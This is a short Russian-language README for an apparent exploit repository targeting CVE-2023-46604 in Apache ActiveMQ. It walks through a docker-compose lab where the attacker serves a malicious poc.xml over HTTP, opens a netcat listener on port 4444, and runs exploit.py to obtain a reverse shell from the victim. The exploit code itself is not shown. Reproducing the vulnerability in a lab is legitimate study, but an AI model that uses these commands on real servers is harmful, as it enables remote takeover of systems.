ccievoice2009/cve-2023-46604Эксплойт для CVE-2023-46604 в Apache ActiveMQ, обеспечивающий удалённое выполнение кода через специально сформированные XML-нагрузки и установку обратной оболочки.
CVE-2023-46604
Соберите docker-compose, содержащий два образа: машина жертвы и машина цели, в соответствии с требуемой средой. На машине жертвы запустите ActiveMQ.
Переключитесь на машину атакующего: • Откройте HTTP-сервис для отправки эксплойта: python3 -m http.server
• Используйте netcat для прослушивания входящих подключений к машине атакующего: nc -nlvp 4444
• Отправьте полезную нагрузку для создания обратного подключения reverse shell к машине атакующего: python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Где:
Можно заметить, что после выполнения команды с файлом 'exploit.py' код эксплуатации отправляет пакет 'poc.xml' с веб-сервера на цель — адрес сервиса ActiveMQ, запущенного на целевом сервере. При этом HTTP-веб-сервер на машине атакующего также получает запрос, отправленный с IP-адреса целевой машины.
После отправки полезной нагрузки переключитесь на терминал, который прослушивает порт 4444 на машине атакующего. Мы видим, что reverse shell с машины жертвы был получен.
